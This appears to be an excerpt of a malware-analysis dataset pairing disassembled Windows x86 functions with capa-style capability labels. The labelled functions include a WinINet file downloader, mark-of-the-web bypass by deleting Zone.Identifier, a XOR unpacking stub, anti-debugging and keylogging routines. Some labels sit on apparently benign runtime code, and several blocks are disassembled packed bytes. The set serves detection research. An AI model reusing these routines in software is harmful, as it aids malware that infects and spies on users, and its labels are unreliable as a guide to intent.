joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x408090
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x408090
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x408090
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x408090
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x408090
mov esp, ebp
pop ebp
ret
Function at 0x402720
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.x9xx7xx8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40275e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4027cb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x407f88
call section..text
add esp, 4
push eax
push 0x404e20
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x402826
push 0x6ddd00
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402810
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x412c94
Capabilities:
Encode data using xor

Disassembly:
ror byte [0x27ad150f], 1
mov dword [0x824ea35f], eax
pop esi
invalid
aas
sahf
cmp ecx, dword [ecx + 0x155395dd]
mov dl, 0x6d
out 0x93, eax
adc al, 0x4c
in al, 0x5d
push 0xa41db04f
movsb byte es:[edi], byte [esi]
or byte [ecx + 1], ah
cmp eax, 0x82960872
sbb eax, 0x38fdb1e9
push esp
imul ecx, dword [ebx + 0xb], 0xffffffe8
stosb byte es:[edi], al
lodsb al, byte [esi]
adc al, 0xb3
scasd eax, dword es:[edi]
xor eax, 0xa51ca223
inc esi
lodsd eax, dword [esi]
loop 0x412c48
in eax, dx
sub al, 0xd5
loop 0x412c75
in eax, 0x6a
aam 0x95
inc esp
push edx
pop ebx
and dword [ecx - 0x3d], esp
inc esp
sal dword [0xe27b1903], cl
xor eax, 0xe27b1903
jns 0x412c60
xlatb
test byte [ebx], dh
add byte [ebx + edx], bh
leave
pop esi
loope 0x412ca8
cmp dh, ah
adc byte [ebx - 0x40], ch
mov byte [0xe7b8e925], al
sbb bl, al
js 0x412ced
sub cl, ah
leave
mov word [ebx - 0x5a], gs
aaa
pop esi
mov al, 0x48
xchg dword [eax + 0xd], ecx
invalid

Function at 0x413858
Capabilities:
Execute anti-debugging instructions

Disassembly:
or dword [edi - 0x39ef8700], 0xffffffd5
ret 0x82ea
sbb edi, ebx
and dword [ebx - 0x15], ebp
jp 0x413785
push ecx
pop ebp
jge 0x41379d
mov bh, 0x58
invalid
lodsd eax, dword [esi]
jae 0x4137be
or dl, byte [ebx + ecx*4]
fistp qword [edi - 0x35f3dd61]
lea edx, fs:[esi - 0x5d]
pop edx
mov byte [eax], 0x8f
adc byte [esp + esi*2 + 0x1d84ca9], ch
test dword [edi + 0x7847b229], esi
inc ebp
push 0x877f8885
jl 0x413839
add ebx, dword [ebx]
das
lcall 0x577f, 0x3fca09f6
inc esp
lodsd eax, dword [esi]
sahf
cmpsb byte [esi], byte es:[edi]
lodsb al, byte [esi]
sub dword [ebx + 0x47f1b98a], eax
sbb eax, 0x572dc101
mov ecx, 0xb69ffc57
adc byte [ebx + 0x7e], dl
inc ebx
adc byte [ecx + 0x47], ch
jl 0x4138eb
pop esp
jne 0x413867
jb 0x4138fa
mov ch, 0x88
jb 0x4138f7
pop ebp
adc ebx, edi
jno 0x41382d
jg 0x4138f1
sub eax, 0x72ad43bb
femms
sbb byte [0x506fe26d], ah
mov al, byte [0x372a2587]
add edx, dword [edx - 2]
push 0x77
pop dword [0xf2bb4a96]
sar cl, 0xc7
mov ch, 0xe7
mov byte [0x8c665be5], al
pushfd
adc al, 0xe1
pop ecx
invalid
stosd dword es:[edi], eax
inc ebp
std
xor esp, esi
rdtsc
rdtsc
cmpsb byte [esi], byte es:[edi]
push edi
xor al, 0x82
enter 0x5fe2, 0xffffffffffffffe1
push edi
loope 0x413953
adc dword ss:[ecx*4 - 0x1b656d1e], edx
pop es
out dx, eax
popfd
push es
ljmp 0x4748
test eax, 0xa6d4dcc9
clc
xchg esp, eax
pushal
mov byte [eax], dh
sbb al, 0xaa
xor eax, 0xded4d10e
mov byte [ebx], 0x86
jle 0x41399f
or al, 0x82
xchg ebp, ebx
salc
jo 0x4139ab
aaa
cmp bl, ah
pop ecx
aas
xor edi, edi
popal
push es
inc edx
pop es
add dword [eax - 0x70d1dab2], 0x27aba4fe
stosd dword es:[edi], eax
daa
dec edx
invalid
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x405e04
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405e6a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404450
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402ea4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405e54
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405e71
lea eax, [ebp - 0x10]
call fcn.004041e0
ret

Function at 0x40aec4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aefd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004042d0
jmp 0x40af06
mov eax, ebx
mov edx, esi
call fcn.00404234
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40af10
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40af31
mov al, byte [esp]
jmp 0x40af33
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b5c8
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b430
mov eax, dword [0x4540c0]
cmp byte [eax], 0
je 0x40b644
mov eax, dword [0x453ee8]
call fcn.00402d10
call fcn.00402bb4
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004086a0
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b68c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b67a
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x453e98]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x455664]
call fcn.00405270
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40bee8
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40bfbe
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404278
lea eax, [ebp - 8]
call fcn.004046f0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004046a0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40bfa8
mov eax, ebx
call fcn.00402a28
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40bfa1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004046a0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40bf8b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40bfd0
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40bf8b
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bfa8
mov eax, dword [ebp - 0x10]
call fcn.00402a58
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bfc5
lea eax, [ebp - 8]
call fcn.004041e0
ret

Function at 0x40c510
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c574
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404450
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004081d4
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c57b
lea eax, [ebp - 0xc]
call fcn.004041e0
ret

Function at 0x41a71c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x455884
cmp dword [edi], 0
jne 0x41a798
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x455880]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4533ec
mov ecx, 2
call fcn.00402c48
mov edx, 0x41a6f4
lea eax, [esi + 5]
call fcn.0041a714
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041a714
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41a76d
mov dword [0x455880], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41b9ac
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41b9b2
ret
Function at 0x41de24
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41de75
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41de5c
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41de4c
jmp 0x41de75
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41de5d
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42b644
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x42b590
call sub.user32.dll_EnumWindows
ret

Function at 0x42b764
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x42b7e1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0042b1c4
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x42b789
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0042adc4
cmp dword [ebp - 4], 0
je 0x42b7cb
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004046a0
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42b7e8
lea eax, [ebp - 4]
call fcn.004041e0
ret

Function at 0x42e7ac
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x455b54], 0
je 0x42e8fb
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x454064]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x42e8fb
mov eax, dword [0x455b58]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x455b54]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x42e8ca
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x455b54]
call fcn.00413cec
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x42e8c2
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x42e8c2
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42e8c2
mov eax, dword [ebp - 0x14]
call fcn.00437438
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42e8c2
push ebp
call fcn.0042e768
pop ecx
test al, al
jne 0x42e8c2
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x42e87e
mov eax, dword [ebp - 0x14]
call fcn.00435f68
dec eax
jle 0x42e8c2
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403674
cmp byte [ebp - 1], 0
je 0x42e8c2
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42e8c2
mov edx, dword [ebp - 0x14]
mov eax, dword [0x455b58]
call fcn.0042df34
inc edi
dec ebx
jne 0x42e811
mov eax, dword [0x455b58]
cmp dword [eax + 8], 0
jle 0x42e8e2
mov eax, dword [0x455b58]
call fcn.0042dfc4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x42e8fb
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0042e5d0
pop ecx
test al, al
jne 0x42e8fb
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x431ed0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x431f1c
mov eax, esi
call fcn.00447714
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x431f1c
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x431f1c
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x43205b
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x431f5c
cmp eax, 0x108
ja 0x431f5c
mov eax, esi
call fcn.00447714
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x432052
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x43205b
jmp 0x432052
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x43203b
cmp eax, 0x20a
ja 0x43203b
test byte [esi + 0x50], 0x80
jne 0x431f8e
sub eax, 0x203
je 0x431f8b
sub eax, 3
je 0x431f8b
sub eax, 3
jne 0x431f8e
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x431fa2
dec eax
je 0x431fb7
dec eax
je 0x431fd4
dec eax
je 0x431fb7
jmp 0x431fdb
mov ecx, ebx
mov eax, dword [0x454064]
mov eax, dword [eax]
mov edx, esi
call fcn.0045106c
jmp 0x432052
cmp byte [esi + 0x5d], 1
jne 0x431fcd
mov eax, esi
mov si, 0xffed
call fcn.00403674
jmp 0x43205b
or word [esi + 0x54], 1
jmp 0x432052
and word [esi + 0x54], 0xfffe
jmp 0x432052
mov eax, dword [0x455b10]
cmp byte [eax + 0x20], 0
je 0x432052
mov eax, dword [0x455b10]
cmp dword [eax + 0x1c], 0
je 0x432052
mov eax, dword [ebx]
mov edx, dword [0x455b10]
cmp eax, dword [edx + 0x1c]
jne 0x432052
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00447658
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403674
jmp 0x43205b
cmp eax, 0xb00b
jne 0x432052
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.004307fc
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4355c8
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x4355e4
cmp dword [esi + 4], 0
je 0x435611
test byte [ebx + 0x55], 1
jne 0x435603
mov eax, ebx
call fcn.00434168
test eax, eax
jne 0x435603
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x435721
mov edx, esi
mov eax, ebx
call fcn.004350ec
jmp 0x435721
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43571a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00437438
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00431e04
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.004355c8
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00437438
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x435721
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43bdb0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4541c4]
cmp byte [eax + 0xc], 0
je 0x43bf1d
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43bf16
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x455b64], 0
jne 0x43be04
push 0x43bf24
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x43bf2c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b64], eax
cmp dword [0x453bac], 0
jne 0x43beff
push 0x43bf3c
call sub.kernel32.dll_LoadLibraryA
mov dword [0x453bac], eax
cmp dword [0x453bac], 0
je 0x43beff
push 0x43bf48
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b68], eax
push 0x43bf58
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b6c], eax
push 0x43bf6c
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b70], eax
push 0x43bf84
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b74], eax
push 0x43bf9c
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b78], eax
push 0x43bfb0
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b7c], eax
push 0x43bfc8
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b80], eax
push 0x43bfe0
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b84], eax
push 0x43bffc
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b88], eax
push 0x43c008
mov eax, dword [0x453bac]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x455b8c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43bf1d
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x43fda8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004041e0
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43fdf7
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404450
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4475c8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x447618]
test si, 4
je 0x4475dc
or bl, 1
test si, 8
je 0x4475e6
or bl, 4
test si, 1
je 0x4475f0
or bl, 8
test si, 2
je 0x4475fa
or bl, 0x10
test si, 0x10
je 0x447604
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x447613
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret